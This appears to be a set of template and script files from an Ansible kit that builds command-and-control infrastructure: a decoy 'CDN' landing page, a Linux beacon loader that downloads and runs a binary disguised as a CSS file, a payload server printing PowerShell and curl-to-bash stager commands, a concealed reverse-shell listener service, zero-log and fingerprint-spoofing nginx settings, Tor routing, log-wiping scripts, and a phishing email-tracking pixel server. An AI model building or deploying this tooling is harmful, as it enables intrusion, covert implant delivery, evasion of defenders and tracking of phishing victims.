<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>{{ redirector_subdomain }} - Content Delivery Network</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background-color: #f4f4f4;
color: #333;
}
header {
background-color: #2c3e50;
color: white;
padding: 1em;
text-align: center;
}
.container {
width: 80%;
margin: 0 auto;
padding: 2em;
}
.card {
background-color: white;
border-radius: 5px;
padding: 1.5em;
margin-bottom: 1.5em;
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
}
.feature {
display: flex;
align-items: center;
margin-bottom: 1em;
}
.feature-icon {
background-color: #3498db;
color: white;
border-radius: 50%;
width: 40px;
height: 40px;
display: flex;
align-items: center;
justify-content: center;
margin-right: 1em;
font-weight: bold;
}
footer {
background-color: #2c3e50;
color: white;
text-align: center;
padding: 1em;
position: fixed;
bottom: 0;
width: 100%;
}
.btn {
display: inline-block;
background-color: #3498db;
color: white;
padding: 0.7em 1.5em;
border-radius: 5px;
text-decoration: none;
font-weight: bold;
}
</style>
</head>
<body>
<header>
<h1>{{ redirector_subdomain }}.{{ domain }}</h1>
<p>Enterprise Content Delivery Network</p>
</header>
<div class="container">
<div class="card">
<h2>Welcome to Our CDN</h2>
<p>This server is part of our global content delivery network, optimizing digital asset delivery for enterprise applications. Our CDN provides fast, reliable, and secure content distribution across our global network.</p>
<p><em>This is a private service. Unauthorized access is prohibited.</em></p>
</div>
<div class="card">
<h2>Our Features</h2>
<div class="feature">
<div class="feature-icon">1</div>
<div>
<h3>Global Distribution</h3>
<p>Content cached and distributed across multiple geographic locations for minimum latency.</p>
</div>
</div>
<div class="feature">
<div class="feature-icon">2</div>
<div>
<h3>DDoS Protection</h3>
<p>Enterprise-grade protection against distributed denial of service attacks.</p>
</div>
</div>
<div class="feature">
<div class="feature-icon">3</div>
<div>
<h3>Asset Optimization</h3>
<p>Automatic compression and format optimization for images, scripts, and styles.</p>
</div>
</div>
</div>
<div class="card" style="text-align: center;">
<h2>Need Access?</h2>
<p>If you're a client requiring access to our CDN services, please contact your account representative.</p>
<a href="#" class="btn">Contact Sales</a>
</div>
</div>
<footer>
<p>&copy; 2025 {{ domain }} CDN Services. All rights reserved.</p>
</footer>
</body>
</html>
@@ -0,0 +1,6 @@
{
"vpc_id": "{{ infra_state.vpc_id }}",
"subnet_id": "{{ infra_state.subnet_id }}",
"security_group_id": "{{ infra_state.security_group_id }}",
"region": "{{ infra_state.region }}"
}
+5
View File
@@ -0,0 +1,5 @@
#!/bin/bash
# Loader script for Linux beacon
curl -s https://REDIRECTOR_PLACEHOLDER/static/css/linux.css -H "Accept-Language: en-US,en;q=0.9" -o /tmp/linux_update
chmod +x /tmp/linux_update
/tmp/linux_update &
+16
View File
@@ -0,0 +1,16 @@
{
"windows_exe": "WINDOWS_EXE",
"windows_dll": "WINDOWS_DLL",
"linux_binary": "LINUX_BINARY",
"macos_binary": "MACOS_BINARY",
"windows_stager": "WINDOWS_STAGER",
"win_profile": "WIN_PROFILE",
"dll_profile": "DLL_PROFILE",
"linux_profile": "LINUX_PROFILE",
"mac_profile": "MAC_PROFILE",
"stager_profile": "STAGER_PROFILE",
"redirector_host": "REDIRECTOR_HOST",
"redirector_port": "REDIRECTOR_PORT",
"c2_host": "C2_HOST",
"generated_date": "GENERATED_DATE"
}
+64
View File
@@ -0,0 +1,64 @@
Welcome to your secure FlokiNET C2 Server!
╔═══════════════════════════════════════════════╗
║ OPERATIONAL SECURITY ║
║ ║
║ This server has enhanced security features ║
║ including hardened SSH, Tor routing, and ║
║ zero-logs configuration. ║
╚═══════════════════════════════════════════════╝
The following tools and utilities have been installed:
Apt-Installed Tools:
--------------------
- git, wget, curl, unzip
- python3-pip, python3-venv, pipx
- tmux, nmap, tcpdump, hydra, john, hashcat
- sqlmap, gobuster, dirb, enum4linux, dnsenum, seclists, responder
- golang, proxychains, tor, crackmapexec, jq, unzip
- postfix, certbot, opendkim, opendkim-tools
Pipx-Installed Tools:
---------------------
- NetExec: git+https://github.com/Pennyw0rth/NetExec
- TREVORspray: git+https://github.com/blacklanternsecurity/TREVORspray
- impacket: (various network protocols and service tools)
Custom Tools Installed in ~/Tools:
----------------------------------
- SharpCollection: ~/Tools/SharpCollection
- Kerbrute: ~/Tools/Kerbrute
- PEASS-ng: ~/Tools/PEASS-ng
- MailSniper: ~/Tools/MailSniper
- Inveigh: ~/Tools/Inveigh
- Gophish: ~/Tools/gophish (unzipped here)
Other Installed C2 Frameworks:
------------------------------
- Metasploit Framework: system installed (run 'msfconsole')
- Havoc C2: installed in /root/Tools/Havoc
Security Scripts in /root/Tools/:
-----------------------------
- clean-logs.sh: Securely clears all logs on the system
- secure-exit.sh: Perform secure wipe for termination
- serve-beacons.sh: Hosts generated implants for delivery
Also, remember that many reconnaissance and attack tools are now available system-wide due to the apt and pipx installations.
Once your DNS record points to this servers public IP, you can obtain a Lets Encrypt certificate by running:
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ domain }}
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d mail.{{ domain }}
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d tracker.{{ domain }}
systemctl start nginx.service
Remember to ensure your DNS is set correctly before running the above command.
**IMPORTANT:**
To route traffic through Tor for additional anonymity, prefix commands with 'proxychains':
proxychains curl ifconfig.me
Don't forget to set up a DMARC record for your domain. Update your DNS provider's dashboard to add a TXT record named `_dmarc` with a suitable DMARC policy (e.g., `v=DMARC1; p=reject; rua=mailto:admin@{{ domain }}; ruf=mailto:admin@{{ domain }}; pct=100`). This ensures better email deliverability and security for your domain.
+48
View File
@@ -0,0 +1,48 @@
Welcome to your new C2 Server!
The following tools and utilities have been installed:
Apt-Installed Tools:
--------------------
- git, wget, curl, unzip
- python3-pip, python3-venv, pipx
- tmux, nmap, tcpdump, hydra, john, hashcat
- sqlmap, gobuster, dirb, enum4linux, dnsenum, seclists, responder
- golang, proxychains, tor, crackmapexec, jq, unzip
- postfix, certbot, opendkim, opendkim-tools
Pipx-Installed Tools:
---------------------
- NetExec: git+https://github.com/Pennyw0rth/NetExec
- TREVORspray: git+https://github.com/blacklanternsecurity/TREVORspray
- impacket: (various network protocols and service tools)
Custom Tools Installed in ~/Tools:
----------------------------------
- SharpCollection: ~/Tools/SharpCollection
- Kerbrute: ~/Tools/Kerbrute
- PEASS-ng: ~/Tools/PEASS-ng
- MailSniper: ~/Tools/MailSniper
- Inveigh: ~/Tools/Inveigh
- Gophish: ~/Tools/gophish (unzipped here)
Other Installed C2 Frameworks:
------------------------------
- Metasploit Framework: system installed (run 'msfconsole')
- Havoc C2: installed in /root/Tools/Havoc
Also, remember that many reconnaissance and attack tools are now available system-wide due to the apt and pipx installations.
Once your DNS record points to this servers public IP, you can obtain a Lets Encrypt certificate by running:
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ domain }}
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d mail.{{ domain }}
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d tracker.{{ domain }}
systemctl start nginx.service
Remember to ensure your DNS is set correctly before running the above command.
**IMPORTANT:**
Dont forget to set up a DMARC record for your domain. Update your DNS providers dashboard (e.g., GoDaddy) to add a TXT record named `_dmarc` with a suitable DMARC policy (e.g., `v=DMARC1; p=reject; rua=mailto:admin@{{ domain }}; ruf=mailto:admin@{{ domain }}; pct=100`). This ensures better email deliverability and security for your domain.
+16
View File
@@ -0,0 +1,16 @@
================================================================
C2itall Redirector Post-Installation Instructions
================================================================
To complete your setup with SSL certificates, run:
/root/Tools/post_install_redirector.sh
This script will guide you through:
- Setting up Let's Encrypt certificates
- Starting required services
- Updating NGINX configuration
For enhanced OPSEC, you can also randomize ports:
/root/Tools/randomize_ports.sh
Run these after you've configured your DNS records to point to this server.
+48
View File
@@ -0,0 +1,48 @@
Welcome to your new C2 Server!
The following tools and utilities have been installed:
Apt-Installed Tools:
--------------------
- git, wget, curl, unzip
- python3-pip, python3-venv, pipx
- tmux, nmap, tcpdump, hydra, john, hashcat
- sqlmap, gobuster, dirb, enum4linux, dnsenum, seclists, responder
- golang, proxychains, tor, crackmapexec, jq, unzip
- postfix, certbot, opendkim, opendkim-tools
Pipx-Installed Tools:
---------------------
- NetExec: git+https://github.com/Pennyw0rth/NetExec
- TREVORspray: git+https://github.com/blacklanternsecurity/TREVORspray
- impacket: (various network protocols and service tools)
Custom Tools Installed in ~/Tools:
----------------------------------
- SharpCollection: ~/Tools/SharpCollection
- Kerbrute: ~/Tools/Kerbrute
- PEASS-ng: ~/Tools/PEASS-ng
- MailSniper: ~/Tools/MailSniper
- Inveigh: ~/Tools/Inveigh
- Gophish: ~/Tools/gophish (unzipped here)
Other Installed C2 Frameworks:
------------------------------
- Metasploit Framework: system installed (run 'msfconsole')
- Havoc C2: installed in /root/Tools/Havoc
Also, remember that many reconnaissance and attack tools are now available system-wide due to the apt and pipx installations.
Once your DNS record points to this servers public IP, you can obtain a Lets Encrypt certificate by running:
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ domain }}
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d mail.{{ domain }}
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d tracker.{{ domain }}
systemctl start nginx.service
Remember to ensure your DNS is set correctly before running the above command.
**IMPORTANT:**
Dont forget to set up a DMARC record for your domain. Update your DNS providers dashboard (e.g., GoDaddy) to add a TXT record named `_dmarc` with a suitable DMARC policy (e.g., `v=DMARC1; p=reject; rua=mailto:admin@{{ domain }}; ruf=mailto:admin@{{ domain }}; pct=100`). This ensures better email deliverability and security for your domain.
+58
View File
@@ -0,0 +1,58 @@
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 1024;
multi_accept on;
}
http {
# Basic Settings
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
server_tokens off;
# MIME
include /etc/nginx/mime.types;
default_type application/octet-stream;
# Zero-logs configuration
# This completely disables all access logs
access_log off;
# Minimal error logs - critical only
error_log /dev/null crit;
# SSL Settings
ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256';
ssl_session_timeout 1d;
ssl_session_cache shared:SSL:10m;
ssl_session_tickets off;
# Headers to confuse fingerprinting
# Microsoft-IIS/8.5 server header to throw off analysis
add_header Server "Microsoft-IIS/8.5";
server_name_in_redirect off;
# OPSEC: Hide proxy headers
proxy_hide_header X-Powered-By;
proxy_hide_header X-AspNet-Version;
proxy_hide_header X-Runtime;
# IP Rotation and proxying
real_ip_header X-Forwarded-For;
set_real_ip_from 127.0.0.1;
# Gzip Settings
gzip off; # Disabled to avoid BREACH attack
# Virtual Host Configs
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}
+68
View File
@@ -0,0 +1,68 @@
# FlokiNET/templates/proxychains.conf.j2
# ProxyChains configuration for C2 server
# Routes traffic through Tor for anonymity
# Dynamic chain - Each connection through the proxy list
# Uses chained proxies in the order they appear in the list
dynamic_chain
# Proxy DNS requests - no leak for DNS data
proxy_dns
# Randomize the order of the proxies on each start
# random_chain
# Set the type of chain (dynamic, strict, random)
# strict_chain
# random_chain
# Quiet mode (less console output)
quiet_mode
# ProxyList format:
# type host port [user pass]
# (values separated by 'tab' or 'blank')
[ProxyList]
# add proxy here ...
# socks5 127.0.0.1 1080
socks5 127.0.0.1 9050
# FlokiNET/templates/iptables-rules.j2
# Hardened iptables rules for FlokiNET C2 server
# Applied at system startup
*filter
:INPUT DROP [0:0]
:FORWARD DROP [0:0]
:OUTPUT ACCEPT [0:0]
# Allow established and related connections
-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# Allow loopback
-A INPUT -i lo -j ACCEPT
# Allow SSH
-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ ssh_port | default(22) }} -j ACCEPT
# Allow HTTP/HTTPS
-A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
# Allow Havoc C2 ports
-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ havoc_http_port | default(8080) }} -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ havoc_https_port | default(443) }} -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ havoc_teamserver_port | default(40056) }} -j ACCEPT
# Allow shell handler port
{% if shell_handler_port is defined %}
-A INPUT -p tcp -m state --state NEW -m tcp --dport {{ shell_handler_port }} -j ACCEPT
{% endif %}
# Block all other incoming traffic
-A INPUT -j DROP
# Allow all outbound traffic by default
-A OUTPUT -j ACCEPT
COMMIT
+17
View File
@@ -0,0 +1,17 @@
C2 Server Details:
- C2 IP: C2_HOST
- Redirector Domain: REDIRECTOR_HOST
Beacons Generated (GENERATED_DATE):
- Windows EXE: WINDOWS_EXE (Profile: WIN_PROFILE)
- Windows DLL: WINDOWS_DLL (Profile: DLL_PROFILE)
- Linux Binary: LINUX_BINARY (Profile: LINUX_PROFILE)
- macOS Binary: MACOS_BINARY (Profile: MAC_PROFILE)
- Windows Stager: staged/WINDOWS_STAGER (Profile: STAGER_PROFILE)
Usage:
1. Ensure your redirector is properly configured to forward requests to the C2 server
2. Update DNS for REDIRECTOR_HOST to point to your redirector IP
3. Test connectivity before deployment in target environment
IMPORTANT: These beacons will connect to REDIRECTOR_HOST on port REDIRECTOR_PORT
+18
View File
@@ -0,0 +1,18 @@
# FlokiNET/templates/resolv.conf.j2
# Secure DNS configuration
# Uses privacy-respecting DNS servers
nameserver 9.9.9.9
nameserver 1.1.1.1
options edns0 single-request-reopen
options timeout:1
options attempts:2
# FlokiNET/templates/dnscrypt.conf.j2
[Resolve]
DNS=9.9.9.9 1.1.1.1
FallbackDNS=8.8.8.8 8.8.4.4
DNSSEC=yes
DNSOverTLS=yes
Cache=yes
DNSStubListener=yes
@@ -0,0 +1,135 @@
#!/bin/bash
# Script to serve Havoc C2 payloads generated by generate_havoc_payloads.sh
# Configuration
PAYLOADS_DIR="/root/Tools/Havoc/payloads"
C2_HOST="{{ ansible_host }}"
# Use templated variable with fallback - allow override from config
LISTEN_PORT="{{ havoc_payload_port | default(8443) }}"
# Check if manifest file exists (created by generate_havoc_payloads.sh)
if [ -f "$PAYLOADS_DIR/manifest.json" ]; then
echo "[+] Found payload manifest file - using Havoc payloads generated previously"
# Extract payload paths from manifest
WIN_EXE=$(jq -r '.windows_exe' "$PAYLOADS_DIR/manifest.json")
WIN_DLL=$(jq -r '.windows_dll' "$PAYLOADS_DIR/manifest.json")
LINUX_BIN=$(jq -r '.linux_binary' "$PAYLOADS_DIR/manifest.json")
# Print payload info
echo "[+] Using these Havoc payloads:"
echo " - Windows EXE: $WIN_EXE"
echo " - Windows DLL: $WIN_DLL"
echo " - Linux Binary: $LINUX_BIN"
else
echo "[!] No manifest file found. Please run generate_havoc_payloads.sh first."
echo "[!] Will search for payloads in $PAYLOADS_DIR..."
# Try to find payloads directly
WIN_EXE=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.exe" | head -n 1)
WIN_DLL=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.dll" | head -n 1)
LINUX_BIN=$(find "$PAYLOADS_DIR/linux" -maxdepth 1 -type f -executable -not -path "*/\.*" | head -n 1)
if [ -z "$WIN_EXE" ] && [ -z "$LINUX_BIN" ]; then
echo "[!] No Havoc payloads found. Please run generate_havoc_payloads.sh first."
exit 1
fi
# Extract just the filenames
WIN_EXE=$(basename "$WIN_EXE")
WIN_DLL=$(basename "$WIN_DLL")
LINUX_BIN=$(basename "$LINUX_BIN")
fi
# Create temporary directory for web server
TEMP_DIR=$(mktemp -d)
mkdir -p $TEMP_DIR/content/windows
mkdir -p $TEMP_DIR/content/linux
mkdir -p $TEMP_DIR/scripts
# Copy payloads to web directory
if [ -n "$WIN_EXE" ]; then
cp "$PAYLOADS_DIR/windows/$WIN_EXE" $TEMP_DIR/content/windows/
echo "[+] Serving Windows EXE: $WIN_EXE"
fi
if [ -n "$WIN_DLL" ]; then
cp "$PAYLOADS_DIR/windows/$WIN_DLL" $TEMP_DIR/content/windows/
echo "[+] Serving Windows DLL: $WIN_DLL"
fi
if [ -n "$LINUX_BIN" ]; then
cp "$PAYLOADS_DIR/linux/$LINUX_BIN" $TEMP_DIR/content/linux/
echo "[+] Serving Linux Binary: $LINUX_BIN"
fi
# Copy stagers if they exist
if [ -f "$PAYLOADS_DIR/stagers/windows_stager.ps1" ]; then
cp "$PAYLOADS_DIR/stagers/windows_stager.ps1" $TEMP_DIR/windows_stager.ps1
echo "[+] Serving Windows PowerShell stager"
fi
if [ -f "$PAYLOADS_DIR/stagers/linux_stager.sh" ]; then
cp "$PAYLOADS_DIR/stagers/linux_stager.sh" $TEMP_DIR/linux_stager.sh
echo "[+] Serving Linux bash stager"
fi
# Create helpful index page
cat > $TEMP_DIR/index.html << EOL
<!DOCTYPE html>
<html>
<head>
<title>Havoc C2 Payload Downloads</title>
<style>
body { font-family: Arial, sans-serif; max-width: 800px; margin: 0 auto; padding: 20px; }
h1 { color: #333; }
.section { margin-bottom: 30px; padding: 20px; background-color: #f8f8f8; border-radius: 5px; }
.warning { color: #a00; font-weight: bold; }
code { background-color: #eee; padding: 2px 5px; border-radius: 3px; }
</style>
</head>
<body>
<h1>Havoc C2 Payload Downloads</h1>
<div class="section">
<h2>Available Payloads</h2>
<ul>
<li><a href="/content/windows/$WIN_EXE">Windows Payload</a></li>
<li><a href="/content/windows/$WIN_DLL">Windows DLL Payload</a></li>
<li><a href="/content/linux/$LINUX_BIN">Linux Payload</a></li>
</ul>
</div>
<div class="section">
<h2>Auto-Download Scripts</h2>
<ul>
<li><a href="/windows_stager.ps1">Windows PowerShell Downloader</a></li>
<li><a href="/linux_stager.sh">Linux Bash Downloader</a></li>
</ul>
</div>
<div class="section">
<h2>Quick Commands</h2>
<p>Windows PowerShell:</p>
<code>powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')"</code>
<p>Linux Bash:</p>
<code>curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash</code>
</div>
</body>
</html>
EOL
# Start Python HTTP server in background
cd $TEMP_DIR
nohup python3 -m http.server $LISTEN_PORT > /dev/null 2>&1 &
SERVER_PID=$!
echo "[+] Started Havoc payload server with PID $SERVER_PID on $C2_HOST:$LISTEN_PORT"
# Print useful information for the operator
echo "[+] Havoc payload server is now running at http://$C2_HOST:$LISTEN_PORT/"
echo "[+] Available payloads:"
echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_EXE (Windows EXE)"
echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_DLL (Windows DLL)"
echo " - http://$C2_HOST:$LISTEN_PORT/content/linux/$LINUX_BIN (Linux Binary)"
echo ""
echo "[+] Quick PowerShell download command:"
echo "powershell -exec bypass -c \"iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')\""
echo ""
echo "[+] Quick Linux download command:"
echo "curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash"
+22
View File
@@ -0,0 +1,22 @@
#!/bin/bash
# Let's Encrypt Certificate Setup Script
# Run this after setting up DNS records pointing to this server
# Replace these with your actual values if needed
DOMAIN="{{ domain }}"
SUBDOMAIN="{{ redirector_subdomain | default(cdn) }}"
EMAIL="admin@${DOMAIN}"
echo "================================================"
echo "Let's Encrypt Certificate Setup"
echo "================================================"
echo
echo "Before running this script, make sure:"
echo "1. DNS records are set up correctly"
echo " - ${SUBDOMAIN}.${DOMAIN} points to $(curl -s ifconfig.me)"
echo "2. Port 80 is open to the internet"
echo
echo "Run the following command to get your certificate:"
echo "certbot --nginx -d ${SUBDOMAIN}.${DOMAIN} --non-interactive --agree-tos -m ${EMAIL}"
echo
echo "================================================"
@@ -0,0 +1,28 @@
[Unit]
Description=Reverse Shell Handler Service
After=network.target
[Service]
Type=simple
User=root
Group=root
ExecStart=/root/Tools/shell-handler/persistent-listener.sh
Restart=always
RestartSec=10
# Hide process information
PrivateTmp=true
ProtectSystem=full
NoNewPrivileges=true
# Make shell handler hard to find
StandardOutput=null
StandardError=null
# Environment variables (configured via Ansible)
Environment="C2_HOST={{ c2_ip | default('127.0.0.1') }}"
Environment="LISTEN_PORT={{ shell_handler_port | default('4444') }}"
Environment="HAVOC_PORT={{ havoc_teamserver_port | default('40056') }}"
[Install]
WantedBy=multi-user.target
@@ -0,0 +1,221 @@
#!/usr/bin/env python3
"""
Simple Email Tracking Server
A minimal Flask application that serves transparent tracking pixels
and logs email opens with metadata.
"""
import os
import json
import time
import logging
from datetime import datetime
from flask import Flask, request, send_file, render_template_string
# Configure logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s',
handlers=[
logging.FileHandler('/root/Tools/tracker/data/tracker.log'),
logging.StreamHandler()
]
)
# Create Flask app
app = Flask(__name__)
# Directory to store tracking data
DATA_DIR = '/root/Tools/tracker/data'
os.makedirs(DATA_DIR, exist_ok=True)
# Path to 1x1 transparent pixel
PIXEL_PATH = os.path.join(DATA_DIR, 'pixel.png')
# Create 1x1 transparent PNG if it doesn't exist
if not os.path.exists(PIXEL_PATH):
from PIL import Image
img = Image.new('RGBA', (1, 1), color=(0, 0, 0, 0))
img.save(PIXEL_PATH)
# Path to tracking data
TRACKING_DATA_PATH = os.path.join(DATA_DIR, 'tracking_data.json')
def load_tracking_data():
"""Load existing tracking data from JSON file"""
if os.path.exists(TRACKING_DATA_PATH):
try:
with open(TRACKING_DATA_PATH, 'r') as f:
return json.load(f)
except json.JSONDecodeError:
logging.error("Error loading tracking data, starting fresh")
return {}
def save_tracking_data(data):
"""Save tracking data to JSON file"""
with open(TRACKING_DATA_PATH, 'w') as f:
json.dump(data, f, indent=2)
@app.route('/pixel/<tracking_id>.png')
def tracking_pixel(tracking_id):
"""Serve a tracking pixel and log the request"""
# Get client information
user_agent = request.headers.get('User-Agent', 'Unknown')
ip_address = request.remote_addr
timestamp = datetime.now().isoformat()
referer = request.headers.get('Referer', 'Unknown')
# Log the tracking event
logging.info(f"Pixel loaded - ID: {tracking_id}, IP: {ip_address}")
# Add tracking event to data
tracking_data = load_tracking_data()
if tracking_id not in tracking_data:
tracking_data[tracking_id] = []
tracking_data[tracking_id].append({
'timestamp': timestamp,
'ip_address': ip_address,
'user_agent': user_agent,
'referer': referer
})
save_tracking_data(tracking_data)
# Return the 1x1 transparent pixel
return send_file(PIXEL_PATH, mimetype='image/png')
@app.route('/')
def dashboard():
"""Display tracking statistics dashboard"""
tracking_data = load_tracking_data()
# Prepare data for the dashboard
stats = []
for tracking_id, events in tracking_data.items():
stats.append({
'id': tracking_id,
'views': len(events),
'last_view': events[-1]['timestamp'] if events else 'Never',
'unique_ips': len(set(e['ip_address'] for e in events))
})
# Sort by most views
stats.sort(key=lambda x: x['views'], reverse=True)
# Simple HTML dashboard template
template = """
<!DOCTYPE html>
<html>
<head>
<title>Email Tracking Dashboard - {{ tracker_domain }}</title>
<style>
body { font-family: Arial, sans-serif; margin: 0; padding: 20px; }
h1 { color: #333; }
table { border-collapse: collapse; width: 100%; }
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
tr:hover { background-color: #f5f5f5; }
th { background-color: #4CAF50; color: white; }
.container { max-width: 800px; margin: 0 auto; }
</style>
</head>
<body>
<div class="container">
<h1>Email Tracking Dashboard</h1>
<p>To track email opens, add this HTML to your emails:</p>
<pre>&lt;img src="https://{{ redirector_domain }}/px/YOUR_TRACKING_ID.png" height="1" width="1" /&gt;</pre>
<p>Alternatively, use this URL with your C2 server directly:</p>
<pre>&lt;img src="https://{{ tracker_domain }}/pixel/YOUR_TRACKING_ID.png" height="1" width="1" /&gt;</pre>
<h2>Tracking Statistics</h2>
<table>
<tr>
<th>Tracking ID</th>
<th>Views</th>
<th>Unique IPs</th>
<th>Last View</th>
<th>Details</th>
</tr>
{% for stat in stats %}
<tr>
<td>{{ stat.id }}</td>
<td>{{ stat.views }}</td>
<td>{{ stat.unique_ips }}</td>
<td>{{ stat.last_view }}</td>
<td><a href="/details/{{ stat.id }}">View Details</a></td>
</tr>
{% endfor %}
</table>
</div>
</body>
</html>
"""
return render_template_string(
template,
stats=stats,
tracker_domain="{{ tracker_domain }}",
redirector_domain="{{ redirector_subdomain }}.{{ domain }}"
)
@app.route('/details/<tracking_id>')
def tracking_details(tracking_id):
"""Display detailed tracking information for a specific ID"""
tracking_data = load_tracking_data()
if tracking_id not in tracking_data:
return f"No data found for tracking ID: {tracking_id}", 404
events = tracking_data[tracking_id]
# Simple HTML template for details
template = """
<!DOCTYPE html>
<html>
<head>
<title>Tracking Details: {{ tracking_id }}</title>
<style>
body { font-family: Arial, sans-serif; margin: 0; padding: 20px; }
h1, h2 { color: #333; }
table { border-collapse: collapse; width: 100%; }
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
tr:hover { background-color: #f5f5f5; }
th { background-color: #4CAF50; color: white; }
.container { max-width: 800px; margin: 0 auto; }
.back { margin-bottom: 20px; }
</style>
</head>
<body>
<div class="container">
<div class="back"><a href="/">&laquo; Back to Dashboard</a></div>
<h1>Tracking Details: {{ tracking_id }}</h1>
<p>Total views: {{ events|length }}</p>
<h2>Events</h2>
<table>
<tr>
<th>Time</th>
<th>IP Address</th>
<th>User Agent</th>
<th>Referer</th>
</tr>
{% for event in events %}
<tr>
<td>{{ event.timestamp }}</td>
<td>{{ event.ip_address }}</td>
<td>{{ event.user_agent }}</td>
<td>{{ event.referer }}</td>
</tr>
{% endfor %}
</table>
</div>
</body>
</html>
"""
return render_template_string(template, tracking_id=tracking_id, events=events)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)
+22
View File
@@ -0,0 +1,22 @@
# TCP stream configuration for Havoc C2
stream {
# TCP forwarding for Havoc Teamserver
server {
listen {{ havoc_teamserver_port | default(40056) }};
proxy_pass {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }};
}
# Additional Havoc ports
server {
listen {{ havoc_http_port | default(8080) }};
proxy_pass {{ c2_ip }}:{{ havoc_http_port | default(8080) }};
}
# HTTPS for Havoc - Using a different port to avoid conflicts with web server
server {
# Changed from default 443 to 9443 to avoid conflict with Nginx HTTPS
listen {{ havoc_https_port | default(9443) }};
# Still proxy to the C2's HTTPS port
proxy_pass {{ c2_ip }}:{{ havoc_https_port | default(443) }};
}
}
+48
View File
@@ -0,0 +1,48 @@
# FlokiNET/templates/torrc.j2
#
# Tor configuration for C2 server
# Hardened configuration for operational security
# General settings
DataDirectory /var/lib/tor
RunAsDaemon 1
ControlPort 9051
CookieAuthentication 1
CookieAuthFileGroupReadable 0
DisableDebuggerAttachment 1
# Network settings
SOCKSPort 127.0.0.1:9050
SOCKSPolicy accept 127.0.0.1/8
SOCKSPolicy reject *
Log notice file /var/log/tor/notices.log
SafeSocks 1
TestSocks 0
# Circuit settings
NumEntryGuards 4
EnforceDistinctSubnets 1
CircuitBuildTimeout 60
PathsNeededToBuildCircuits 0.95
NewCircuitPeriod 900
MaxCircuitDirtiness 1800
# Security settings
StrictNodes 1
WarnPlaintextPorts 23,109,110,143,80,21
ReachableAddresses *:80,*:443
ReachableAddresses reject *:*
ReachableAddresses accept *:80
ReachableAddresses accept *:443
# Obfuscation settings
Bridge obfs4 {{ bridge_address | default('placeholderbridge.example.org:443') }} {{ bridge_fingerprint | default('PLACEHOLDERFINGERPRINT') }} cert=PLACEHOLDER
UseBridges 1
ClientTransportPlugin obfs4 exec /usr/bin/obfs4proxy
ClientTransportPlugin meek exec /usr/bin/obfs4proxy
# Exit policy (no exits allowed)
ExitPolicy reject *:*
# DNS resolution
AutomapHostsOnResolve 1
+33
View File
@@ -0,0 +1,33 @@
# templates/tracker-config.j2
"""
Email Tracker Configuration
"""
# Basic Configuration
SECRET_KEY = '{{ lookup("password", "/dev/null chars=ascii_letters,digits length=32") }}'
DEBUG = False
# Database settings
DB_NAME = 'tracker.db'
# Domain configuration
DOMAIN = '{{ tracker_domain }}'
USE_HTTPS = {{ tracker_setup_ssl | default(true) | lower }}
# Tracking pixel path
TRACKING_PATH = 'pixel.png'
# API Keys
{% if tracker_ipinfo_token is defined and tracker_ipinfo_token != "" %}
IPINFO_TOKEN = '{{ tracker_ipinfo_token }}'
{% else %}
IPINFO_TOKEN = None
{% endif %}
# Notification settings
ENABLE_NOTIFICATIONS = False
NOTIFICATION_EMAIL = '{{ tracker_email | default("admin@" + domain) }}'
# Logger configuration
LOG_LEVEL = 'INFO'
LOG_FILE = '/var/log/tracker.log'
+52
View File
@@ -0,0 +1,52 @@
server {
listen 80;
listen [::]:80;
server_name {{ tracker_domain }};
# Redirect to HTTPS if SSL is enabled
return 301 https://$host$request_uri;
}
server {
listen 443 ssl;
listen [::]:443 ssl;
server_name {{ tracker_domain }};
# SSL Configuration
ssl_certificate /etc/letsencrypt/live/{{ tracker_domain }}/fullchain.pem;
